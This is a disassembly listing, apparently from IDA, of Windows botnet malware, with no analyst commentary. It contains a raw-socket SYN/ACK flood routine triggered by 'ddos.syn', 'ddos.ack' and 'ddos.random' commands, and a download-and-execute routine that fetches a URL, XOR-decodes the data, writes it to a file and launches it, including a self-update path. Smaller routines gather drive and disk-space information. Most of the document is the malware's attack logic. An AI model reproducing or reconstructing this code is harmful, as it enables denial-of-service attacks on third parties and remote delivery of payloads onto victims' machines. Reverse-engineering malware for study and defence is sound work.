Dst		= byte ptr -8Ch
Src		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= byte ptr -70h
var_6F		= byte ptr -6Fh
var_6E		= word ptr -6Eh
var_58		= word ptr -58h
var_56		= word ptr -56h
var_54		= dword	ptr -54h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= byte ptr -34h
var_32		= word ptr -32h
var_30		= word ptr -30h
var_2E		= word ptr -2Eh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_2A		= word ptr -2Ah
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= word ptr -14h
var_12		= word ptr -12h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_7		= byte ptr -7
var_6		= word ptr -6
var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
Str1		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 284h
		push	ebx
		push	edi
		push	0Eh
		xor	ebx, ebx
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_B3]
		mov	[ebp+var_B4], bl
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_284]
		push	eax
		push	202h
		call	dword_42EB38	; WSAStartup
		test	eax, eax
		jz	short loc_4031CB
		xor	eax, eax
		jmp	loc_4034BE
; ---------------------------------------------------------------------------


loc_4031CB:				; CODE XREF: sub_40318B+37j
		push	1
		pop	edi
		push	edi
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		call	dword_42EC54	; WSASocketA
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_20], eax
		jz	loc_4034B6
		push	esi
		lea	ecx, [ebp+var_40]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	[ebp+var_40], edi
		call	dword_42EB94	; setsockopt
		cmp	eax, 0FFFFFFFFh
		jz	loc_4034AC
		push	[ebp+arg_C]
		mov	[ebp+var_58], 2
		call	dword_42EBB4	; htons
		mov	esi, [ebp+arg_0]
		push	28h
		mov	[ebp+var_56], ax
		mov	[ebp+var_54], esi
		mov	[ebp+var_34], 45h
		call	dword_42EBB4	; htons
		push	[ebp+arg_C]
		mov	[ebp+var_32], ax
		mov	[ebp+var_30], di
		mov	[ebp+var_2E], bx
		mov	[ebp+var_2C], 80h
		mov	[ebp+var_2B], 6
		mov	[ebp+var_2A], bx
		mov	[ebp+var_24], esi
		call	dword_42EBB4	; htons
		mov	[ebp+var_12], ax
		call	_rand
		movzx	eax, ax
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		call	dword_42EBB4	; htons
		push	12345678h
		mov	[ebp+var_14], ax
		call	dword_42EBB0	; htonl
		push	offset Str2	; "ddos.syn"
		mov	[ebp+var_10], eax
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_40329B
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 2
		jmp	short loc_4032EF
; ---------------------------------------------------------------------------


loc_40329B:				; CODE XREF: sub_40318B+105j
		push	offset aDdos_ack ; "ddos.ack"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4032B7
		mov	[ebp+var_C], ebx
		mov	[ebp+var_7], 10h
		jmp	short loc_4032EF
; ---------------------------------------------------------------------------


loc_4032B7:				; CODE XREF: sub_40318B+121j
		push	offset aDdos_random ; "ddos.random"
		push	[ebp+Str1]	; Str1
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4032EF
		call	_rand
		push	3
		cdq
		pop	ecx
		idiv	ecx
		mov	[ebp+var_C], edx
		call	_rand
		push	2
		cdq
		pop	ecx
		idiv	ecx
		neg	edx
		sbb	dl, dl
		and	dl, 0Eh
		add	dl, cl
		mov	[ebp+var_7], dl


loc_4032EF:				; CODE XREF: sub_40318B+10Ej
					; sub_40318B+12Aj ...
		push	4000h
		mov	[ebp+var_8], 50h
		call	dword_42EBB4	; htons
		mov	[ebp+var_6], ax
		lea	eax, [ebp+var_48]
		push	eax
		mov	[ebp+var_2], bx
		mov	[ebp+Str1], ebx
		call	ds:dword_41B08C	; QueryPerformanceFrequency
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41B088	; QueryPerformanceCounter
		push	[ebp+var_44]
		mov	eax, [ebp+arg_10]
		cdq
		push	[ebp+var_48]
		push	edx
		push	eax
		call	__allmul
		add	eax, [ebp+var_1C]
		push	14h
		pop	esi
		adc	edx, [ebp+var_18]
		mov	[ebp+var_3C], eax
		mov	[ebp+var_38], edx


loc_40333D:				; CODE XREF: sub_40318B+2E2j
					; sub_40318B+2F0j
		mov	[ebp+var_4], bx
		call	_rand
		cdq
		mov	ecx, 3E9h
		idiv	ecx
		add	edx, 3E8h
		push	edx
		call	dword_42EBB4	; htons
		mov	[ebp+var_14], ax
		call	_rand
		mov	edi, eax
		shl	edi, 10h
		call	_rand
		or	edi, eax
		push	edi
		call	dword_42EBB4	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_4]
		inc	[ebp+arg_4]
		push	eax
		call	dword_42EBB0	; htonl
		mov	[ebp+var_28], eax
		mov	eax, [ebp+var_24]
		push	esi
		mov	[ebp+var_74], eax
		mov	[ebp+var_70], bl
		mov	[ebp+var_6F], 6
		call	dword_42EBB4	; htons
		mov	[ebp+var_6E], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+Src], eax
		lea	eax, [ebp+Src]
		push	20h		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_94]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_B4]
		push	34h
		push	eax
		call	sub_40845A
		mov	[ebp+var_4], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		lea	eax, [ebp+var_14]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_A0]
		push	eax		; Dst
		call	_memcpy
		push	4		; Size
		lea	eax, [ebp+Dst]
		push	ebx		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 44h
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		call	sub_40845A
		mov	[ebp+var_2A], ax
		lea	eax, [ebp+var_34]
		push	esi		; Size
		push	eax		; Src
		lea	eax, [ebp+var_B4]
		push	eax		; Dst
		call	_memcpy
		add	esp, 14h
		lea	eax, [ebp+var_58]
		push	10h
		push	eax
		push	ebx
		lea	eax, [ebp+var_B4]
		push	28h
		push	eax
		push	[ebp+var_20]
		call	dword_42EC14	; sendto
		cmp	eax, 0FFFFFFFFh
		jz	short loc_403480
		add	[ebp+Str1], eax
		lea	eax, [ebp+var_1C]
		push	eax
		call	ds:dword_41B088	; QueryPerformanceCounter
		mov	eax, [ebp+var_18]
		cmp	eax, [ebp+var_38]
		jg	short loc_4034A9
		jl	loc_40333D
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+var_3C]
		jnb	short loc_4034A9
		jmp	loc_40333D
; ---------------------------------------------------------------------------


loc_403480:				; CODE XREF: sub_40318B+2CBj
		call	dword_42EB50	; WSAGetLastError
		push	eax
		lea	eax, [ebp+Dest]
		push	offset aDdosSendErrorD ; "[DDoS]: Send error: <%d>."
		push	eax		; Dest
		call	_sprintf
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_402D63
		add	esp, 10h
		jmp	short loc_4034AC
; ---------------------------------------------------------------------------


loc_4034A9:				; CODE XREF: sub_40318B+2E0j
					; sub_40318B+2EEj
		mov	ebx, [ebp+Str1]


loc_4034AC:				; CODE XREF: sub_40318B+78j
					; sub_40318B+31Cj
		push	[ebp+var_20]
		call	dword_42EC48	; closesocket
		pop	esi


loc_4034B6:				; CODE XREF: sub_40318B+5Bj
		call	dword_42EB20	; WSACleanup
		mov	eax, ebx


loc_4034BE:				; CODE XREF: sub_40318B+3Bj
		pop	edi
		pop	ebx
		leave
		retn
sub_40318B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_4034C2(int,char *Str,char *Str1,int)

sub_4034C2	proc near		; CODE XREF: sub_4030D9+4Fp

arg_0		= dword	ptr  4
Str		= dword	ptr  8
Str1		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		push	edi
		push	[esp+0Ch+arg_0]
		call	sub_4082EB
		push	[esp+10h+Str]	; Str
		mov	esi, eax
		call	_atoi
		push	[esp+14h+arg_C]	; Str
		mov	ebx, eax
		call	_atoi
		mov	edi, eax
		call	_rand
		cdq
		mov	ecx, 200h
		push	edi		; int
		idiv	ecx
		push	ebx		; int
		push	[esp+20h+Str1]	; Str1
		lea	eax, [edx+esi+100h]
		push	eax		; int
		push	esi		; int
		call	sub_40318B
		add	esp, 20h
		test	eax, eax
		jnz	short loc_403511
		push	1
		pop	eax


loc_403511:				; CODE XREF: sub_4034C2+4Aj
		cdq
		mov	ecx, 3E8h
		idiv	ecx
		cdq
		idiv	edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4034C2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403520	proc near		; DATA XREF: sub_409557+3075o
					; sub_409557+36E9o

var_590		= qword	ptr -590h
var_584		= qword	ptr -584h
Dst		= byte ptr -510h
var_310		= dword	ptr -310h
var_304		= dword	ptr -304h
var_2E4		= dword	ptr -2E4h
var_2E0		= word ptr -2E0h
var_2CC		= dword	ptr -2CCh
Str		= byte ptr -2C8h
var_248		= byte ptr -248h
Filename	= byte ptr -148h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
Memory		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= qword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 510h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	ecx, 0AAh
		mov	esi, eax
		lea	edi, [ebp+var_2CC]
		push	1
		rep movsd
		pop	edi
		xor	esi, esi
		push	esi
		mov	[eax+2A4h], edi
		push	esi
		push	esi
		lea	eax, [ebp+var_248]
		push	esi
		push	eax
		push	dword_42EB68
		call	dword_42EAD4	; InternetOpenUrlA
		cmp	eax, esi
		mov	[ebp+var_18], eax
		jz	loc_4039AC
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	40000000h
		push	eax
		call	ds:dword_41B05C	; CreateFileA
		cmp	eax, edi
		mov	[ebp+var_20], eax
		jnb	short loc_4035E7
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aDownloadCouldn ; "[DOWNLOAD]: Couldn't open file: %s."
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4035CA
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		add	esp, 14h


loc_4035CA:				; CODE XREF: sub_403520+88j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		push	[ebp+var_48]
		call	sub_411F56
		pop	ecx
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread


loc_4035E7:				; CODE XREF: sub_403520+68j
		xor	edi, edi
		call	ds:dword_41B078	; GetTickCount
		mov	ebx, 7D000h
		mov	dword ptr [ebp+var_8+4], eax
		push	ebx		; Size
		call	_malloc
		pop	ecx
		mov	[ebp+Memory], eax


loc_403601:				; CODE XREF: sub_403520+1B4j
		push	200h		; Size
		lea	eax, [ebp+Dst]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+Dst]
		push	200h
		push	eax
		push	[ebp+var_18]
		call	dword_42EADC	; InternetReadFile
		cmp	[ebp+var_34], esi
		jz	short loc_403645
		push	[ebp+arg_0]
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_403A12
		pop	ecx
		pop	ecx


loc_403645:				; CODE XREF: sub_403520+112j
		lea	eax, [ebp+var_24]
		push	esi
		push	eax
		lea	eax, [ebp+Dst]
		push	[ebp+arg_0]
		push	eax
		push	[ebp+var_20]
		call	ds:dword_41B054	; WriteFile
		cmp	edi, ebx
		jnb	short loc_403683
		mov	eax, ebx
		sub	eax, edi
		cmp	eax, [ebp+arg_0]
		jbe	short loc_40366D
		mov	eax, [ebp+arg_0]


loc_40366D:				; CODE XREF: sub_403520+148j
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	eax		; Src
		mov	eax, [ebp+Memory]
		add	eax, edi
		push	eax		; Dst
		call	_memcpy
		add	esp, 0Ch


loc_403683:				; CODE XREF: sub_403520+13Fj
		add	edi, [ebp+arg_0]
		cmp	[ebp+var_3C], esi
		jz	short loc_403690
		cmp	edi, [ebp+var_3C]
		ja	short loc_4036DA


loc_403690:				; CODE XREF: sub_403520+169j
		cmp	[ebp+var_44], 1
		mov	eax, edi
		jz	short loc_4036AA
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset aDownloadFileDo ; "[DOWNLOAD]: File download: %s	(%dKB tra"...
		jmp	short loc_4036BA
; ---------------------------------------------------------------------------


loc_4036AA:				; CODE XREF: sub_403520+176j
		shr	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		push	offset aDownloadUpdate ; "[DOWNLOAD]: Update: %s (%dKB transferre"...


loc_4036BA:				; CODE XREF: sub_403520+188j
		mov	eax, [ebp+var_48]
		imul	eax, 234h
		add	eax, offset dword_430340
		push	eax		; Dest
		call	_sprintf
		add	esp, 10h
		cmp	[ebp+arg_0], esi
		ja	loc_403601


loc_4036DA:				; CODE XREF: sub_403520+16Ej
		cmp	[ebp+var_3C], esi
		mov	[ebp+var_14], 1
		jz	short loc_40372F
		cmp	edi, [ebp+var_3C]
		jz	short loc_40372F
		push	[ebp+var_3C]
		lea	eax, [ebp+Dst]
		mov	[ebp+var_14], esi
		push	edi
		push	offset aDownloadFilesi ; "[DOWNLOAD]: Filesize is incorrect: (%d "...
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		add	esp, 28h


loc_40372F:				; CODE XREF: sub_403520+1C4j
					; sub_403520+1C9j
		call	ds:dword_41B078	; GetTickCount
		sub	eax, dword ptr [ebp+var_8+4]
		xor	edx, edx
		mov	ecx, 3E8h
		push	[ebp+var_20]
		div	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, edi
		inc	ecx
		div	ecx
		mov	ebx, eax
		call	ds:dword_41B050	; CloseHandle
		push	[ebp+Memory]	; Memory
		call	_free
		cmp	[ebp+var_38], esi
		pop	ecx
		jz	short loc_4037B9
		lea	eax, [ebp+Filename]
		push	eax		; Filename
		call	sub_403067
		cmp	eax, [ebp+var_38]
		pop	ecx
		jz	short loc_4037B9
		push	[ebp+var_38]
		mov	[ebp+var_14], esi
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aDownloadCrcFai ; "[DOWNLOAD]: CRC Failed (%d !=	%d)."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		add	esp, 28h


loc_4037B9:				; CODE XREF: sub_403520+241j
					; sub_403520+253j
		cmp	[ebp+var_14], esi
		jz	loc_4039F9
		cmp	[ebp+var_44], 1
		jz	loc_4038B4
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_41B5E8
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_41B5E8
		fstp	[esp+590h+var_590]
		push	offset aDownloadDownlo ; "[DOWNLOAD]: Downloaded %.1f KB to %s @ "...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_403834
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		add	esp, 14h


loc_403834:				; CODE XREF: sub_403520+2F2j
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		cmp	[ebp+var_40], 1
		pop	ecx
		jnz	loc_4039F9
		push	5
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	offset aOpen	; "open"
		push	esi
		call	dword_42EB34
		cmp	[ebp+var_30], esi
		jnz	loc_4039F9
		lea	eax, [ebp+Filename]
		push	eax
		lea	eax, [ebp+Dst]
		push	offset aDownloadOpened ; "[DOWNLOAD]: Opened: %s."
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		add	esp, 24h
		jmp	loc_4039F9
; ---------------------------------------------------------------------------


loc_4038B4:				; CODE XREF: sub_403520+2A6j
		mov	dword ptr [ebp+var_8], ebx
		mov	dword ptr [ebp+var_8+4], esi
		fild	[ebp+var_8]
		push	ecx
		push	ecx
		mov	dword ptr [ebp+var_8], edi
		mov	dword ptr [ebp+var_8+4], esi
		fmul	ds:dbl_41B5E8
		lea	eax, [ebp+Filename]
		fstp	[esp+584h+var_584]
		fild	[ebp+var_8]
		push	eax
		push	ecx
		push	ecx
		lea	eax, [ebp+Dst]
		fmul	ds:dbl_41B5E8
		fstp	[esp+590h+var_590]
		push	offset aDownloadDown_0 ; "[DOWNLOAD]: Downloaded %.1fKB	to %s @	%"...
		push	eax		; Dest
		call	_sprintf
		add	esp, 1Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_40391C
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		add	esp, 14h


loc_40391C:				; CODE XREF: sub_403520+3DAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		push	10h		; Size
		lea	eax, [ebp+var_10]
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		push	44h
		lea	eax, [ebp+var_310]
		pop	edi
		push	edi		; Size
		push	esi		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 1Ch
		mov	[ebp+var_310], edi
		lea	eax, [ebp+var_10]
		mov	[ebp+var_304], offset byte_428D64
		push	1
		mov	[ebp+var_2E0], si
		pop	edi
		push	eax
		lea	eax, [ebp+var_310]
		push	eax
		push	esi
		push	esi
		push	28h
		push	esi
		push	esi
		lea	eax, [ebp+Filename]
		push	esi
		push	eax
		push	esi
		mov	[ebp+var_2E4], edi
		call	ds:dword_41B094	; CreateProcessA
		cmp	eax, edi
		jnz	short loc_40399E
		call	dword_42EB20	; WSACleanup
		call	sub_40724A
		push	esi
		call	ds:dword_41B090	; ExitProcess


loc_40399E:				; CODE XREF: sub_403520+46Aj
		lea	eax, [ebp+Filename]
		push	eax
		push	offset aDownloadUpda_0 ; "[DOWNLOAD]: Update failed: Error execut"...
		jmp	short loc_4039B8
; ---------------------------------------------------------------------------


loc_4039AC:				; CODE XREF: sub_403520+45j
		lea	eax, [ebp+var_248]
		push	eax
		push	offset aDownloadBadUrl ; "[DOWNLOAD]: Bad URL, or DNS Error: %s."


loc_4039B8:				; CODE XREF: sub_403520+48Aj
		lea	eax, [ebp+Dst]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		cmp	[ebp+var_30], esi
		jnz	short loc_4039EC
		push	esi		; int
		lea	eax, [ebp+Dst]
		push	[ebp+var_2C]	; int
		push	eax		; int
		lea	eax, [ebp+Str]
		push	eax		; Str
		push	[ebp+var_2CC]	; int
		call	sub_405E64
		add	esp, 14h


loc_4039EC:				; CODE XREF: sub_403520+4AAj
		lea	eax, [ebp+Dst]
		push	eax
		call	sub_402D63
		pop	ecx


loc_4039F9:				; CODE XREF: sub_403520+29Cj
					; sub_403520+325j ...
		push	[ebp+var_18]
		call	dword_42EBE4	; InternetCloseHandle
		push	[ebp+var_48]
		call	sub_411F56
		pop	ecx
		push	esi
		call	ds:dword_41B06C	; ExitThread
sub_403520	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_403A12	proc near		; CODE XREF: sub_403520+11Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		cmp	[esp+arg_4], ecx
		jle	short locret_403A2E


loc_403A1E:				; CODE XREF: sub_403A12+1Aj
		mov	dl, byte_424A60
		xor	[ecx+eax], dl
		inc	ecx
		cmp	ecx, [esp+arg_4]
		jl	short loc_403A1E

locret_403A2E:				; CODE XREF: sub_403A12+Aj
		retn
sub_403A12	endp


; =============== S U B	R O U T	I N E =======================================



sub_403A2F	proc near		; CODE XREF: sub_409557+22C0p
					; sub_409557+241Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_412EA4
		pop	ecx
		pop	ecx
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		mov	eax, ecx
		retn
sub_403A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403A49	proc near		; CODE XREF: sub_403B59+66p
					; sub_403B59+97p ...

var_38		= byte ptr -38h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 38h
		and	[ebp+var_4], 0
		push	ebx
		push	esi
		push	edi
		push	32h		; Size
		mov	edi, offset dword_42E624
		push	0		; Val
		push	edi		; Dst
		call	_memset
		mov	ebx, [ebp+arg_0]
		add	esp, 0Ch
		lea	esi, [ebp+var_38]


loc_403A6E:				; CODE XREF: sub_403A49+5Bj
					; sub_403A49+61j
		push	0
		push	0Ah
		push	[ebp+arg_4]
		push	ebx
		call	__aullrem
		push	0
		push	0Ah
		push	[ebp+arg_4]
		add	al, 30h
		mov	[esi], al
		inc	esi
		push	ebx
		call	__aulldiv
		mov	ebx, eax
		or	eax, edx
		mov	[ebp+arg_4], edx
		jz	short loc_403AAC
		inc	[ebp+var_4]
		push	3
		mov	eax, [ebp+var_4]
		pop	ecx
		cdq
		idiv	ecx
		test	edx, edx
		jnz	short loc_403A6E
		mov	byte ptr [esi],	2Ch
		inc	esi
		jmp	short loc_403A6E
; ---------------------------------------------------------------------------


loc_403AAC:				; CODE XREF: sub_403A49+4Bj
		dec	esi
		mov	eax, edi


loc_403AAF:				; CODE XREF: sub_403A49+73j
		lea	ecx, [ebp+var_38]
		cmp	esi, ecx
		jb	short loc_403ABE
		mov	cl, [esi]
		mov	[eax], cl
		inc	eax
		dec	esi
		jmp	short loc_403AAF
; ---------------------------------------------------------------------------


loc_403ABE:				; CODE XREF: sub_403A49+6Bj
		and	byte ptr [eax],	0
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_403A49	endp


; =============== S U B	R O U T	I N E =======================================



sub_403AC8	proc near		; CODE XREF: sub_403C74+51p
					; sub_403C74+87p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_42EC10	; GetDriveTypeA
		sub	eax, 0
		jz	short loc_403B0B
		dec	eax
		jz	short loc_403B05
		dec	eax
		dec	eax
		jz	short loc_403AFF
		dec	eax
		jz	short loc_403AF9
		dec	eax
		jz	short loc_403AF3
		dec	eax
		jz	short loc_403AED
		mov	eax, offset word_41F9E4
		retn
; ---------------------------------------------------------------------------


loc_403AED:				; CODE XREF: sub_403AC8+1Dj
		mov	eax, offset aRam ; "RAM"
		retn
; ---------------------------------------------------------------------------


loc_403AF3:				; CODE XREF: sub_403AC8+1Aj
		mov	eax, offset aCdrom ; "Cdrom"
		retn
; ---------------------------------------------------------------------------


loc_403AF9:				; CODE XREF: sub_403AC8+17j
		mov	eax, offset aNetwork ; "Network"
		retn
; ---------------------------------------------------------------------------


loc_403AFF:				; CODE XREF: sub_403AC8+14j
		mov	eax, offset aDisk ; "Disk"
		retn
; ---------------------------------------------------------------------------


loc_403B05:				; CODE XREF: sub_403AC8+10j
		mov	eax, offset aInvalid ; "Invalid"
		retn
; ---------------------------------------------------------------------------


loc_403B0B:				; CODE XREF: sub_403AC8+Dj
		mov	eax, offset aUnknown ; "Unknown"
		retn
sub_403AC8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B11	proc near		; CODE XREF: sub_403B59+12p

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		or	eax, 0FFFFFFFFh
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], eax
		mov	eax, dword_42EAC0
		test	eax, eax
		jz	short loc_403B46
		lea	ecx, [ebp+var_10]
		push	ecx
		lea	ecx, [ebp+var_8]
		push	ecx
		lea	ecx, [ebp+var_18]
		push	ecx
		push	[ebp+arg_4]
		call	eax	; GetDiskFreeSpaceExA


loc_403B46:				; CODE XREF: sub_403B11+22j
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	6
		pop	ecx
		lea	esi, [ebp+var_18]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_403B11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403B59	proc near		; CODE XREF: sub_403C74+17p
					; sub_410E85+1F3p

Dest		= byte ptr -198h
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 198h
		push	esi
		push	edi
		push	[ebp+arg_4]
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_403B11
		pop	ecx
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_18]
		push	6
		pop	ecx
		rep movsd
		mov	eax, [ebp+var_18]
		and	eax, [ebp+var_14]
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C31
		mov	eax, [ebp+var_10]
		and	eax, [ebp+var_C]
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C31
		mov	eax, [ebp+var_8]
		and	eax, [ebp+var_4]
		cmp	eax, 0FFFFFFFFh
		jz	loc_403C31
		push	ebx
		mov	ebx, 400h
		push	0
		push	ebx
		push	[ebp+var_14]
		push	[ebp+var_18]
		call	__alldiv
		push	edx
		push	eax
		call	sub_403A49
		mov	edi, offset aSkb ; "%sKB"
		push	eax
		mov	esi, 80h
		push	edi		; Format
		lea	eax, [ebp+Dest]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_C]
		push	[ebp+var_10]
		call	__alldiv
		push	edx
		push	eax
		call	sub_403A49
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_118]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		push	0
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8]
		call	__alldiv
		push	edx
		push	eax
		call	sub_403A49
		push	eax
		push	edi		; Format
		lea	eax, [ebp+var_98]
		push	esi		; Count
		push	eax		; Dest
		call	__snprintf
		add	esp, 18h
		pop	ebx
		jmp	short loc_403C60
; ---------------------------------------------------------------------------


loc_403C31:				; CODE XREF: sub_403B59+2Cj
					; sub_403B59+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+Dest]
		push	esi		; Format
		push	eax		; Dest
		call	_sprintf
